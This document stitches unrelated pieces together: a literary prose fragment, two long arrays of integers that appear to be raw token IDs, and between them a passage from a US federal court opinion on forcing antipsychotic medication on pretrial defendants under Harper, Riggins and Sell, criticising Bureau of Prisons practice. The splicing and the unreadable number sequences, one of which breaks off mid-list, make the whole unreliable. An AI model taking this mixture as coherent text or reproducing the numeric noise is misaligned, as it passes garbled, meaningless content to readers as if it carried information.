fiction embedded in nonfiction. But no. Merely systemic defects to be eliminated before they become obvious and fascinating to everyone searching for maps and horoscopes and compasses and astrological charts. But always by the hands of another, someone who transcends it and who is, without a doubt, better at guiding them through a house with rooms that are always dark. So, every so often, one of them, one of those coincidences, escapes and has to be chased, like an insect with a hard, iridescent carapace, until it's cornered and stomped out and exterminated, so it doesn't reproduce on this side of things. And so (possessors of that quality that turns them into

[ 3382, 8310, 407, 3739, 12440, 15, 187, 2618, 15, 387, 28804, 13, 9199, 322, 15, 5229, 15, 387, 884, 2945, 187, 688, 2380, 281, 5041, 362, 15, 22663, 13, 253, 8293, 4487, 13, 15904, 273, 2604, 10047, 13, 4232, 271, 10656, 5199, 323, 18723, 35393, 19830, 1971, 285, 12358, 15, 3349, 330, 6764, 3015, 45910, 15, 3079, 313, 13895, 481, 831, 7248, 2530, 323, 4366, 13, 271, 10656, 4854, 13, 39791, 407, 247, 39738, 417, 3206, 275, 12767, 253, 34079, 285, 253, 987, 281, 452, 247, 4750, 8612, 273, 253, 34079, 15, 4031, 15, 187, 688, 9748, 13, 253, 6413, 2111, 2918, 326, 247, 20566, 3257, 574, 253, 987, 281, 16410, 281, 4035, 3192, 3270, 14, 20980, 3875, 12358, 1309, 521, 2332, 13, 5734, 253, 2418, 812, 921, 326, 253, 1971, 369, 44597, 3309, 13, 627, 497, 642, 1679, 4996, 15240, 18075, 13, 285, 253, 1971, 369, 3309, 281, 3657, 253, 3257, 432, 5237, 272, 2994, 390, 2571, 15, 416, 20878, 968, 362, 15, 23050, 13, 34312, 530, 15, 52, 15, 15610, 13, 13620, 13, 11633, 322, 15, 5229, 15, 1283, 740, 13, 12643, 418, 15, 3996, 15, 19, 69, 41372, 313, 13895, 481, 8293, 16598, 13, 275, 247, 24585, 40226, 4743, 13, 5125, 352, 651, 320, 1077, 7520, 326, 3270, 14, 20980, 3875, 5835, 812, 320, 1901, 2084, 3441, 11966, 12718, 323, 253, 4096, 273, 6941, 247, 3257, 281, 320, 20566, 281, 1462, 2332, 15, 4031, 15, 387, 15410, 14, 1867, 13, 11633, 322, 15, 5229, 15, 387, 1283, 1166, 15, 4683, 1798, 4468, 275, 416, 20878, 968, 497, 2442, 1930, 2538, 273, 253, 2854, 326, 651, 29614, 253, 28959, 273, 253, 2332, 13, 3782, 849, 253, 3257, 5420, 281, 253, 4984, 15, 187, 510, 6413, 2111, 434, 954, 3332, 39640, 420, 327, 436, 2256, 2210, 1309, 253, 4437, 6752, 13302, 275, 253, 1083, 273, 322, 437, 362, 15, 1986, 2077, 13, 45610, 530, 15, 52, 15, 23541, 13, 15567, 322, 15, 5229, 15, 374, 18804, 13, 21807, 418, 15, 3996, 15, 19, 69, 25336, 313, 9755, 481, 322, 437, 3206, 247, 3438, 40069, 342, 247, 24585, 285, 1077, 26504, 6255, 1786, 2892, 13, 1690, 40083, 6255, 1786, 4675, 5904, 285, 3270, 14, 20980, 3875, 12358, 15, 496, 253, 2282, 273, 37631, 10061, 8664, 4400, 6424, 7260, 13, 322, 437, 2546, 253, 1302, 323, 247, 7441, 273, 521, 30281, 281, 1462, 2332, 15, 380, 26462, 5963, 275, 253, 1083, 3413, 322, 437, 281, 320, 43650, 281, 1462, 2332, 285, 6960, 322, 437, 32943, 387, 253, 7671, 8710, 5197, 275, 42669, 16301, 323, 8368, 285, 20384, 273, 30281, 15, 4031, 15, 387, 18672, 14, 3677, 13, 15567, 322, 15, 5229, 15, 387, 374, 17864, 15, 2058, 401, 7722, 14, 22600, 3423, 13, 253, 3739, 4750, 8521, 326, 322, 437, 1379, 3270, 14, 20980, 3875, 12358, 13, 533, 344, 9284, 15, 4031, 15, 743, 10656, 4854, 369, 2918, 285, 35393, 5286, 273, 253, 3270, 14, 20980, 3875, 12358, 369, 14047, 984, 322, 437, 369, 346, 420, 595, 2853, 285, 8312, 13, 285, 12358, 310, 3309, 281, 1555, 253, 6255, 9749, 3, 285, 594, 326, 322, 437, 812, 320, 16789, 281, 43346, 15, 4031, 15, 387, 24549, 14, 3547, 13, 15567, 322, 15, 5229, 15, 387, 374, 11395, 15, 3900, 322, 437, 369, 3413, 281, 320, 8312, 275, 247, 3114, 4758, 13, 352, 369, 14969, 326, 322, 437, 1159, 264, 275, 271, 1527, 5754, 3072, 1293, 1895, 15, 4031, 15, 743, 10656, 4549, 16337, 326, 26239, 15, 187, 52, 437, 4724, 247, 3200, 275, 521, 6424, 1083, 7004, 253, 1302, 281, 3585, 3136, 253, 26239, 281, 1901, 2084, 3441, 25596, 3270, 14, 20980, 3875, 12358, 15, 329, 4854, 369, 2918, 13, 534, 2908, 6206, 670, 322, 437, 434, 19582, 3879, 275, 7746, 247, 15339, 344, 7636, 617, 15, 4031, 15, 387, 24347, 14, 3655, 13, 15567, 322, 15, 5229, 15, 387, 374, 11395, 15, 2896, 253, 673, 273, 436, 4854, 322, 437, 369, 275, 247, 12623, 894, 13, 50049, 432, 253, 1527, 5754, 3072, 15, 4031, 15, 387, 24687, 13, 15567, 322, 15, 5229, 15, 387, 374, 11395, 15, 380, 26462, 5963, 6960, 326, 322, 437, 320, 1901, 2084, 3441, 4912, 456, 13, 1097, 984, 273, 8312, 1255, 285, 281, 15042, 6255, 30281, 15, 4031, 15, 387, 24687, 13, 15567, 322, 15, 5229, 15, 387, 374, 11395, 14, 3593, 15, 187, 52, 437, 4724, 271, 4549, 432, 436, 10362, 281, 253, 3286, 5963, 15, 3105, 272, 326, 322, 437, 574, 644, 4895, 281, 271, 1527, 18588, 13, 253, 3286, 5963, 1119, 253, 7441, 273, 8312, 1255, 281, 320, 4518, 21210, 15, 380, 5963, 30620, 253, 35393, 12358, 1340, 323, 6378, 273, 18164, 3257, 20566, 281, 1462, 2332, 15, 4031, 15, 387, 24687, 14, 3566, 13, 15567, 322, 15, 5229, 15, 387, 374, 20895, 15, 380, 3286, 5963, 12969, 475, 7749, 21, 326, 352, 369, 20346, 281, 3653, 1880, 41572, 3270, 14, 20980, 3875, 12358, 281, 322, 437, 651, 31611, 2818, 253, 28959, 273, 253, 2332, 15, 187, 34, 4272, 5370, 273, 253, 16244, 6817, 2111, 273, 9892, 16337, 253, 10362, 273, 253, 3286, 1302, 15, 35145, 401, 15, 20, 69, 37378, 313, 25, 394, 4082, 15, 10016, 481, 380, 2111, 273, 9892, 30620, 253, 4560, 326, 322, 437, 369, 417, 8312, 281, 1881, 390, 2571, 13, 285, 3413, 326, 253, 7260, 497, 4092, 2217, 281, 1329, 253, 2208, 434, 1600, 275, 9745, 322, 437, 281, 2332, 15, 187, 510, 6413, 2111, 7169, 5306, 43738, 281, 3653, 1880, 322, 437, 812, 320, 25979, 273, 521, 17843, 1600, 275, 21455, 12358, 12718, 323, 6378, 273, 18164, 779, 20566, 281, 1462, 2332, 323, 1327, 43115, 19626, 15, 23359, 281, 22663, 285, 416, 20878, 968, 13, 253, 2111, 2918, 326, 247, 3257, 10268, 4092, 6424, 7260, 778, 320, 1901, 2084, 3441, 4912, 456, 281, 15042, 6255, 30281, 13, 604, 253, 1971, 310, 44597, 4569, 13, 588, 417, 29614, 253, 28959, 273, 253, 2332, 285, 1679, 4996, 15240, 18075, 403, 417, 2130, 15, 4031, 15, 387, 24062, 13, 15567, 322, 15, 5229, 15, 387, 374, 19105, 15, 187, 43743, 378, 5292, 254, 13, 7392, 272, 8293, 16598, 434, 40226, 4743, 275, 416, 20878, 968, 13, 21947, 326, 10872, 816, 5411, 35393, 12358, 12718, 281, 15042, 6255, 30281, 588, 320, 7520, 15, 4031, 15, 387, 12660, 13, 15567, 322, 15, 5229, 15, 387, 374, 19105, 15, 13658, 13, 253, 26157, 3054, 27, 187, 34, 1302, 878, 417, 1908, 1880, 281, 1581, 6726, 12358, 313, 936, 15042, 6255, 30281, 582, 604, 6726, 12358, 310, 26085, 323, 247, 1027, 4096, 13, 824, 347, 253, 6378, 873, 562, 275, 22663, 2905, 281, 253, 2060, 434, 8312, 1255, 13, 390, 6378, 2905, 281, 253, 4292, 1211, 1600, 835, 19963, 281, 1379, 5835, 12516, 521, 1786, 7462, 600, 387, 2495, 15, 313, 41766, 11035, 481, 1707, 403, 2223, 2266, 4606, 323, 247, 1302, 281, 3653, 1880, 6726, 5286, 273, 5835, 476, 320, 17285, 327, 841, 5795, 9905, 1078, 8577, 281, 253, 2332, 30281, 1953, 15, 187, 9, 18532, 275, 3236, 582, 4031, 15, 387, 26240, 14, 3507, 13, 15567, 322, 15, 5229, 15, 387, 374, 17786, 15, 380, 2111, 4879, 326, 3374, 2905, 281, 8312, 1255, 285, 3739, 15504, 273, 253, 12358, 403, 625, 8103, 285, 4569, 323, 3739, 12440, 281, 12106, 685, 253, 4320, 8794, 1972, 273, 30281, 281, 8419, 2332, 15, 13036, 1783, 273, 1110, 3374, 10316, 247, 17614, 468, 2770, 281, 253, 30281, 2523, 13, 943, 352, 2489, 3309, 15, 4031, 15, 387, 25985, 14, 3245, 13, 15567, 322, 15, 5229, 15, 387, 374, 17786, 14, 2691, 15, 3813, 13, 253, 6413, 2111, 9618, 84, 7829, 281, 3653, 2139, 6726, 5286, 273, 5835, 369, 417, 7799, 327, 22663, 9905, 13, 1078, 7296, 253, 2523, 12718, 275, 253, 3634, 273, 33269, 6255, 30281, 15, 4031, 15, 3667, 12436, 1598, 13, 436, 49273, 494, 26777, 407, 253, 2111, 281, 1908, 22663, 6866, 806, 556, 644, 24181, 12841, 407, 253, 15904, 273, 2604, 10047, 1580, 253, 322, 437, 3061, 369, 6808, 15, 187, 34, 21686, 6328, 1830, 187, 510, 5441, 273, 436, 1083, 17093, 247, 7936, 19652, 275, 253, 10885, 273, 35393, 12358, 3374, 407, 253, 7671, 15904, 273, 2604, 10047, 313, 35, 2795, 481, 378, 2795, 588, 417, 10369, 1908, 22663, 6866, 347, 247, 3720, 323, 1901, 2084, 3441, 4912, 839, 247, 3110, 13, 533, 588, 3185, 10725, 14288, 327, 253, 12107, 33265, 273, 247, 1302, 1340, 6808, 9433, 322, 437, 6866, 15, 831, 310, 247, 19999, 557, 10613, 281, 253, 7829, 13, 253, 4750, 285, 1363, 387, 4400, 3739, 9189, 13, 285, 253, 3110, 14, 48631, 15, 831, 673, 14, 33136, 13, 8312, 285, 44597, 19582, 3946, 3198, 281, 1705, 281, 271, 990, 15, 187, 3039, 247, 3110, 29939, 4369, 32801, 12358, 387, 247, 7671, 8710, 5197, 13, 253, 10656, 4854, 1232, 346, 9846, 3, 320, 38417, 15, 3349, 330, 6764, 3015, 45910, 15, 3079, 9, 66, 481, 2058, 326, 4854, 13, 253, 3110, 588, 452, 247, 4750, 8612, 665, 476, 10073, 275, 20501, 12170, 13, 285, 13, 40452, 13, 32039, 342, 475, 7749, 22, 253, 3110, 8664, 17610, 5286, 273, 271, 3270, 14, 20980, 3875, 2854, 15, 187, 510, 39738, 16472, 253, 4854, 3091, 3653, 1880, 1971, 390, 4369, 32801, 12358, 310, 3309, 275, 1340, 281, 3177, 281, 1056, 253, 34079, 20566, 323, 2332, 390, 310, 3309, 984, 253, 34079, 310, 8312, 281, 1881, 390, 2571, 13, 310, 7462, 600, 13603, 13, 390, 310, 7591, 281, 1159, 275, 253, 1527, 3072, 273, 6255, 1786, 28149, 4055, 390, 247, 3963, 5754, 15, 380, 39738, 3091, 10347, 247, 3542, 1304, 5001, 253, 3061, 15, 187, 9, 18532, 2879, 481, 3349, 330, 6764, 3015, 45910, 15, 3079, 9, 66, 2769, 23, 481, 187, 688, 436, 1083, 13, 846, 8167, 9284, 12358, 13, 642, 10656, 4854, 369, 2918, 15, 3900, 247, 2716, 14, 32928, 22663, 1783, 369, 873, 6593, 275, 253, 7995, 29344, 27605, 313, 81, 15, 818, 582, 326, 7103, 24874, 247, 11096, 3126, 15, 831, 310, 10214, 281, 253, 6843, 13, 8103, 2629, 873, 6593, 275, 3349, 330, 6764, 3015, 45910, 15, 3079, 9, 66, 2769, 23, 481, 187, 510, 7295, 275, 436, 1083, 858, 417, 2118, 253, 2111, 323, 271, 1340, 281, 1901, 2084, 3441, 4912, 366, 8167, 15, 13771, 13, 253, 2748, 2210, 275, 247, 4857, 281, 253, 2111, 432, 253, 411, 6702, 273, 401, 7722, 14, 1989, 1216, 15, 831, 310, 253, 1846, 3946, 273, 378, 2795, 15, 1986, 2077, 362, 15, 4033, 43774, 14, 22097, 373, 13, 6157, 18972, 22769, 2511, 1047, 13, 475, 18, 295, 15, 337, 313, 56, 15, 37, 15, 10685, 15, 9430, 558, 1986, 2077, 362, 15, 611, 276, 5292, 13, 32193, 401, 15, 4727, 15, 19, 69, 42178, 13, 608, 3507, 14, 3245, 313, 52, 15, 37, 15, 56, 15, 31775, 15, 6469, 481, 733, 310, 19582, 323, 378, 2795, 281, 3653, 1880, 390, 417, 15303, 451, 6284, 403, 594, 1534, 326, 247, 12358, 1340, 6808, 10376, 281, 322, 437, 943, 320, 23321, 15, 187, 1552, 2111, 2427, 1066, 436, 1854, 342, 378, 2795, 2761, 4745, 846, 253, 322, 437, 3061, 275, 1083, 1621, 15, 6246, 17272, 14, 35461, 14, 45335, 1311, 2648, 9, 41836, 582, 275, 253, 4412, 273, 13169, 15, 496, 326, 1083, 13, 253, 3257, 369, 2197, 281, 401, 7722, 14, 22600, 3423, 281, 15042, 6255, 30281, 15, 754, 9284, 281, 1379, 521, 12358, 15, 380, 6834, 323, 401, 7722, 14, 22600, 3423, 2197, 253, 2111, 247, 4857, 7004, 253, 2111, 281, 2589, 247, 322, 437, 4854, 15, 496, 253, 4857, 13, 253, 6834, 15140, 253, 2111, 347, 3637, 27, 187, 20108, 281, 253, 322, 437, 3061, 13, 253, 15904, 273, 2604, 10047, 12845, 253, 10067, 273, 3349, 330, 6764, 3512, 45910, 13, 4974, 2003, 330, 13, 281, 4017, 247, 37631, 34079, 434, 17843, 1600, 275, 17816, 253, 35393, 5286, 273, 3270, 14, 20980, 3875, 12358, 15, 380, 4214, 19330, 323, 253, 15904, 273, 2604, 10047, 556, 1121, 967, 326, 253, 322, 437, 3061, 556, 13697, 27093, 667, 3061, 407, 15904, 273, 2604, 10047, 24414, 48221, 281, 1901, 2084, 3441, 25596, 3270, 14, 20980, 3875, 12358, 281, 247, 37631, 34079, 1293, 2173, 12379, 9612, 762, 253, 2515, 23378, 275, 253, 322, 437, 3061, 15, 187, 2618, 904, 9700, 13, 4162, 3307, 13, 6157, 13, 313, 37, 5751, 5329, 582, 7266, 15, 374, 14, 20, 15, 380, 3257, 369, 2918, 275, 5569, 3487, 3708, 323, 512, 533, 767, 1897, 273 ]

clinical observation by medical professionals. Id. at 231, 110 S.Ct. at 1042 In response to Washington v. Harper, the Justice Department, Bureau of Prisons, established an administrative procedure for delivering involuntary psychiatric treatment and medication. 28 CFR § 549.43 (1992). This regulation provided for notice, an administrative hearing, adjudication by a psychiatrist not involved in treating the inmate and the right to have a staff representative of the inmate. Id. In 1992, the Supreme Court held that a competent defendant had the right to refuse to continue taking anti-psychotic medication during his trial, unless the State could show that the treatment was medically necessary, there were no less intrusive alternatives, and the treatment was necessary to prevent the defendant from harming himself or others. Riggins v. Nevada, 504 U.S. 127, 135, 112 S.Ct. 1810, 118 L.Ed.2d 479 (1992). Justice Kennedy, in a lengthy concurring opinion, suggested it would be very rare that anti-psychotic drugs could be involuntarily administered solely for the purpose of allowing a defendant to be competent to stand trial. Id. at 138-39, 112 S.Ct. at 1817. Of particular concern in Riggins were potential side effects of the drug that would undermine the fairness of the trial, particularly how the defendant appeared to the jury. The Supreme Court's most recent pronouncement on this subject came during the October 2002 Term in the case of Sell v. United States, 539 U.S. 166, 123 S.Ct. 2174, 156 L.Ed.2d 197 (2003). Sell involved a former dentist with a lengthy and very troubled mental health history, including inpatient mental health hospitalizations and anti-psychotic medication. In the course of pretrial proceedings concerning federal criminal charges, Sell asked the court for a determination of his competence to stand trial. The magistrate judge in the case determined Sell to be incompetent to stand trial and ordered Sell hospitalized at the Federal Medical Center in Springfield Missouri for examination and restoration of competence. Id. at 170-71, 123 S.Ct. at 2179. At FMC-Springfield, the medical staff recommended that Sell take anti-psychotic medication, but he refused. Id. An administrative hearing was held and involuntary administration of the anti-psychotic medication was authorized because Sell was "mentally ill and dangerous, and medication is necessary to treat the mental illness" and so that Sell could be restored to competency. Id. at 171-72, 123 S.Ct. at 2180. While Sell was determined to be dangerous in a community setting, it was acknowledged that Sell functioned in an open prison population without problem. Id. An administrative appeal affirmed that authorization. Sell filed a motion in his criminal case asking the court to revoke the authorization to involuntarily administer anti-psychotic medication. A hearing was held, which included testimony about Sell's inappropriate behavior in telling a nurse he loved her. Id. at 172-73, 123 S.Ct. at 2180. By the time of this hearing Sell was in a locked cell, segregated from the open prison population. Id. at 173, 123 S.Ct. at 2180. The magistrate judge ordered that Sell be involuntarily medicated, both because of dangerousness and to restore mental competence. Id. at 173, 123 S.Ct. at 2180-81. Sell filed an appeal from this ruling to the district judge. Noting that Sell had been returned to an open ward, the district judge found the determination of dangerousness to be clearly erroneous. The judge upheld the involuntary medication order for purposes of rendering defendant competent to stand trial. Id. at 173-74, 123 S.Ct. at 2181. The district judge ruled *1104 that it was premature to determine whether administering anti-psychotic medication to Sell would adversely affect the fairness of the trial. A divided panel of the Eight Circuit Court of Appeals affirmed the ruling of the district court. 282 F.3d 560 (8th Cir.2002). The Court of Appeals upheld the finding that Sell was not dangerous to self or others, and determined that the charges were serious enough to support the government's interest in bringing Sell to trial. The Supreme Court granted certiorari to determine whether Sell could be deprived of his liberty interest in refusing medication solely for purposes of rendering him competent to stand trial for nonviolent offenses. Looking to Harper and Riggins, the Court held that a defendant facing serious criminal charges may be involuntarily medicated to restore mental competence, if the treatment is medically appropriate, will not undermine the fairness of the trial and less intrusive alternatives are not available. Id. at 179, 123 S.Ct. at 2184. Justice Breyer, echoing Justice Kennedy's concurring opinion in Riggins, emphasized that instances justifying involuntary medication solely to restore mental competence will be rare. Id. at 180, 123 S.Ct. at 2184. Specifically, the Opinion states: A court need not consider whether to allow forced medication (to restore mental competence), if forced medication is warranted for a different purpose, such as the purposes set out in Harper related to the individual's dangerousness, or purposes related to the individuals own interest where refusal to take drugs puts his health gravely at risk. (cite omitted). There are often strong reasons for a court to determine whether forced administration of drugs can be justified on these alternative grounds before turning to the trial competence question. (emphasis in original), Id. at 181-82, 123 S.Ct. at 2185. The Court noted that issues related to dangerousness and medical necessity of the medication are more objective and appropriate for medical professionals to analyze than the legal nuances of competence to Stand trial. Prior analysis of those issues brings a sharper focus to the competence issue, should it become necessary. Id. at 182-83, 123 S.Ct. at 2185-86. Therefore, the Supreme Court instructs courts to determine why forced administration of drugs was not sought on Harper grounds, before considering the issue solely in the context of restoring mental competence. Id. Regrettably, this unmistakable directive by the Court to consider Harper criteria first has been systematically ignored by the Bureau of Prisons since the Sell decision was issued. ANALYSIS The facts of this case illustrate a fundamental flaw in the handling of involuntary medication issues by the Federal Bureau of Prisons (BOP). BOP will not seriously consider Harper criteria as a basis for involuntarily medicating a patient, but will instead rely exclusively on the protective umbrella of a court order issued applying Sell criteria. This is a tremendous disservice to the courts, the staff and patients at federal medical facilities, and the patient-defendants. This time-consuming, dangerous and medically inappropriate practice needs to come to an end. When a patient refuses psychotropic medication at a Federal Medical Center, the administrative hearing process "will" be instituted. 28 CFR § 549.43(a). At that hearing, the patient will have a staff representative who can assist in questioning witnesses, and, logically, confer with *1105 the patient concerning voluntary administration of an anti-psychotic drug. The psychiatrist conducting the hearing shall determine whether treatment or psychotropic medication is necessary in order to attempt to make the inmate competent for trial or is necessary because the inmate is dangerous to self or others, is gravely disabled, or is unable to function in the open population of mental health referral center or a regular prison. The psychiatrist shall prepare a written report regarding the decision. (emphasis added). 28 CFR § 549.43(a)(6). In this case, after Defendant refused medication, no administrative hearing was held. While a half-hearted Harper analysis was set forth in the Forensic Evaluation (p. 7), that evaluation presumed a restricted environment. This is contrary to the explicit, objective standard set forth in 28 CFR § 549.43(a)(6). The Government in this case did not move the Court for an order to involuntarily medicate Defendant. Rather, the request came in a letter to the Court from the Warden of FMC-Butner. This is the common practice of BOP. United States v. Barajas-Torres, 2004 WL 1598914, *1 n. 1 (W.D.Tex.2004); United States v. Kourey, 276 F.Supp.2d 580, 582-83 (S.D.W.Va. 2003). It is inappropriate for BOP to determine whether or not prosecutorial interests are so significant that a medication order issued pursuant to Sell should be pursued. This Court went down this path with BOP almost immediately after the Sell decision in case No. CR 03-959-TUCRCC(CRP), in the District of Arizona. In that case, the defendant was sent to FMC-Springfield to restore mental competence. He refused to take his medication. The attorney for FMC-Springfield sent the Court a letter asking the Court to conduct a Sell hearing. In the letter, the attorney advised the Court as follows: Prior to the Sell decision, the Bureau of Prisons utilized the provisions of 28 CFR Part 549, Subpart C, to protect a pretrial inmate's liberty interest in avoiding the involuntary administration of anti-psychotic medication. The General Counsel for the Bureau of Prisons has opined that the Sell decision has rendered unconstitutional any decision by Bureau of Prisons psychiatrists to involuntarily administer anti-psychotic medication to a pretrial inmate without specific judicial approval under the conditions referenced in the Sell decision. Id., Order, April 22, 2004, (Dkt 45), pp. 2-3. The defendant was held in lockdown status for all but two days of

[ 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 12787, 37224, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 25118, 285, 23345, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 15261, 8593, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 1374, 272, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 10936, 15, 6293, 23971, 13, 46859, 41767, 187, 27209, 84, 313, 30933, 9762, 582, 11366, 1935, 46403, 32774, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 582, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 187, 27209, 337, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 40844, 262, 1320, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 261, 17888, 13, 43529, 267, 38227, 313, 29481, 51, 582, 33941, 342, 2070, 505, 19178, 587, 463, 13, 6631, 1680, 17888, 13, 48483, 272, 44844, 187, 187, 565, 376, 14, 4537, 13, 48483, 272, 44844, 187, 10613, 13, 33941, 342, 2070, 505, 19178, 587, 463, 187, 16282, 26329, 1680, 17888, 13, 6631, 1680, 17888, 187, 35238, 13, 43529, 267, 38227, 313, 29481, 51, 10, 187, 1830, 51, 313, 30933, 2579, 10934, 582, 308, 1761, 5201, 81, 16464, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 582, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 187, 30933, 1268, 13, 12873, 285, 35738, 272, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 15905, 272, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 187, 4118, 500, 187, 187, 17455, 1789, 1511, 13, 16155, 44844, 187, 17455, 5113, 13, 25136, 16480, 272, 13, 31799, 12639, 263, 6528, 285, 1720, 26380, 13, 31799, 12639, 263, 6528, 285, 1720, 26380, 13, 21591, 12285, 953, 13, 21591, 12285, 953, 13, 21591, 12285, 953, 187, 187, 17455, 5239, 13, 21591, 12285, 953, 187, 10423, 13, 31238, 13, 21591, 12285, 953, 187, 7404, 15890, 1491, 13, 31799, 12639, 263, 6528, 285, 1720, 26380, 187, 46320, 2193, 13, 25136, 16480, 272, 187, 1374, 272, 13, 21591, 12285, 953, 187, 44144, 13, 12639, 265, 13, 22553, 84, 13, 285, 32254, 13, 17720, 4458, 46207, 23109, 6631, 187, 187, 17338, 13, 17720, 4458, 46207, 23109, 6631, 187, 187, 4118, 611, 187, 187, 44, 69, 15, 20963, 13, 26073, 3390, 29806, 323, 7464, 187, 9499, 9692, 16242, 16, 18992, 38115, 18703, 2214, 37, 5902, 8990, 13, 5201, 20559, 390, 3366, 13004, 18809, 9368, 313, 37, 5077, 10, 46403, 84, 187, 9499, 9692, 16242, 688, 15268, 13561, 2107, 38115, 18703, 1159, 13, 5376, 471, 7035, 2107, 33757, 39886, 187, 9499, 9692, 16242, 6504, 3787, 38115, 18703, 8990, 13, 33757, 39886, 187, 9499, 9692, 16242, 38115, 18703, 1159, 13, 33757, 39886, 187, 9499, 4717, 7761, 7456, 3235, 1159, 13, 4155, 6631, 5201, 81, 16464, 187, 9499, 6723, 3074, 34, 5902, 84, 47703, 1159, 13, 20715, 15601, 911, 265, 285, 12174, 264, 15601, 911, 265, 187, 9499, 6723, 34, 5902, 84, 47703, 1159, 13, 20715, 15601, 911, 265, 285, 12174, 264, 15601, 911, 265, 187, 9499, 15886, 8469, 13073, 26330, 13, 1284, 23078, 528, 18809, 9368, 46403, 84, 187, 9499, 10828, 14531, 12919, 1159, 13, 23266, 495, 35, 27, 42473, 253, 23280, 12639, 22483, 11122, 187, 9499, 6052, 630, 6998, 11909, 10934, 13, 427, 54, 3788, 13869, 187, 45948, 589, 375, 19676, 13, 8192, 251, 13, 12932, 2808, 251, 23280, 1320, 13, 11447, 8192, 251, 46854, 187, 187, 32423, 16, 3123, 2245, 313, 631, 11003, 582, 11447, 8192, 251, 46854, 187, 45948, 589, 375, 10030, 30313, 5197, 2579, 13, 11447, 8192, 251, 46854, 187, 9499, 18992, 688, 15268, 13561, 2107, 38115, 18703, 1159, 13, 5376, 471, 7035, 2107, 33757, 39886, 187, 9499, 18992, 6504, 3787, 38115, 18703, 8990, 13, 33757, 39886, 187, 9499, 18992, 38115, 18703, 1159, 13, 33757, 39886, 187, 22562, 13, 37880, 942, 285, 11405, 3617, 932, 13, 35052, 42372, 13, 35052, 42372, 13, 16048, 10994, 9170, 39552, 829, 272, 13, 16155, 13, 16155, 13, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 582, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 582, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 582, 11366, 1935, 15185, 13, 308, 1761, 5201, 81, 16464, 13, 308, 1761, 5201, 81, 16464, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 582, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 582, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 582, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 582, 5201, 20559, 390, 3366, 13004, 18809, 9368, 313, 37, 5077, 10, 46403, 84, 13, 19563, 5201, 81, 16464, 13, 19563, 5201, 81, 16464, 13, 14139, 8241, 1320, 13, 11578, 14, 3027, 6350, 14139, 8241, 1320, 13, 1737, 8714, 932, 271, 9206, 32215, 5128, 26253, 980, 13, 44913, 13, 3667, 621, 13, 285, 31965, 13, 2071, 10600, 13, 10535, 868, 13, 285, 19242, 13, 11447, 14, 10715, 26073, 3390, 13, 16676, 264, 30073, 20421, 13, 7733, 254, 22481, 2370, 313, 11589, 367, 23699, 582, 7733, 254, 22481, 2370, 313, 11589, 367, 23699, 582, 42372, 273, 7464, 41827, 16292, 13, 46859, 41767, 13, 22553, 2077, 13, 30454, 34730, 285, 322, 6229, 34730, 13, 31799, 12639, 263, 6528, 285, 1720, 26380, 187, 187, 26059, 4323, 13, 44913, 13, 3667, 621, 13, 285, 31965, 187, 23723, 4323, 13, 2071, 10600, 13, 10535, 868, 13, 285, 19242, 187, 1473, 17976, 14, 10050, 6661, 1329, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 19417, 13, 35052, 42372, 187, 3431, 34726, 5447, 13, 22553, 2077, 187, 3431, 34726, 5113, 13, 11578, 14, 3027, 6350, 14139, 8241, 1320, 13, 1737, 8714, 932, 271, 9206, 32, 187, 37, 5077, 5162, 13, 5201, 20559, 390, 3366, 13004, 18809, 9368, 313, 37, 5077, 10, 46403, 84, 187, 17440, 285, 40343, 38837, 13, 16676, 264, 30073, 20421, 187, 19681, 6293, 8869, 13, 7733, 254, 22481, 2370, 313, 11589, 367, 23699, 10, 187, 22558, 35600, 285, 10885, 13, 19563, 5201, 81, 16464, 187, 911, 14233, 285, 11606, 84, 13, 32495, 875, 13, 308, 1761, 5201, 81, 16464, 187, 10984, 1935, 1329, 13, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 10, 187, 30933, 5113, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 4348, 15824, 6974, 13, 5128, 26253, 980, 187, 10082, 780, 14978, 3470, 13, 14139, 8241, 1320, 187, 9744, 3788, 985, 1491, 13, 30454, 34730, 285, 322, 6229, 34730, 187, 25964, 13, 16155, 187, 631, 494, 19069, 13, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 10, 187, 23171, 1453, 2919, 13, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 10, 187, 39013, 6297, 13, 37880, 942, 285, 11405, 3617, 932, 187, 6549, 14, 2606, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 24606, 1430, 3386, 13, 16048, 10994, 9170, 39552, 829, 272, 187, 33385, 11606, 84, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 34218, 6517, 10885, 13, 19563, 5201, 81, 16464, 187, 10394, 11606, 84, 13, 308, 1761, 5201, 81, 16464, 187, 11972, 11674, 12714, 13, 46859, 41767, 187, 11972, 27387, 13, 8869, 13, 285, 15056, 13, 7733, 254, 22481, 